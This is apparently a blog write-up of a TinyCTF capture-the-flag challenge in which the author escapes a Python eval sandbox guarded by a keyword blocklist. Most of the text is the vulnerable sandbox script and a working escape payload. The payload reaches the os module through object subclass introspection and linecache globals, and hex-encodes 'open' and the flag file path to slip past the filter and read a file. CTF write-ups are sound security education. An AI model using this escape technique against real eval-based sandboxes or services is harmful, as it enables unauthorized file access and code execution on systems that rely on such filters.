Fork me on GitHub

TinyCTF - Exp 200

1

Unfortunately, this challenge was essentially the same challenge I took during CSAW 2014 with some slight tweaks to it, making it slightly challenging than the last. As with before, the challenge provided a Python script which was used as a sandbox, preventing certain modules and functions from being executed.

#!/usr/bin/python

def serve():
    "Serve a request"

    print "baby@sics:~$",

    code = raw_input()

    if validate(code):
        print eval(code)
    else:
        print "#rekt"

def validate(code):
    "Hyper-secure, military grade python sandboxing"

    prohibited_keywords = [
        "import",
        "open",
        "flag",
        "eval",
        "exec"
    ]

    for keyword in prohibited_keywords:
        if keyword in code:
            return False

    return True

def main():
    print """
Welcome to Safe Interactive CPython Shell (SICS)
================================================

Rules: 
    - Wash your dishes
    - Don't eat the yellow snow
    - Do not import anything
    - No peeking at files!
"""

    while True:
        serve()

if __name__ == '__main__':
    main()

This challenge allowed me to actually use the read() function from the os module, so that was nice. However, the sandbox disallowed any strings with flag in the string, so I got a little creative and hex encoded the path and flag.txt and when I made the call to read the file, I dynamically decoded the hex string back into ASCII, allowing the Python code to bypass this restriction. Once I figured out what code to use to get access to the os module, I easily retrieved the flag (Figure 1)!

# os module
().__class__.__base__.__subclasses__()[-14].__init__.func_globals['linecache'].__dict__['os']
# open() fd with hex-encoded path
getattr(().__class__.__base__.__subclasses__()[-14].__init__.func_globals['linecache'].__dict__['os'],'6f70656e'.decode('hex'))('%s' % '2f686f6d652f7079626162792f666c61672e747874'.decode('hex'), 0)
# read flag.txt
().__class__.__base__.__subclasses__()[-14].__init__.func_globals['linecache'].__dict__['os'].read(getattr(().__class__.__base__.__subclasses__()[-14].__init__.func_globals['linecache'].__dict__['os'],'6f70656e'.decode('hex'))('%s' % '2f686f6d652f7079626162792f666c61672e747874'.decode('hex'), 0), 1024)

2

Flag: flag{python_sandboxing:_harder_than_teaching_your_mom_dota}

Comments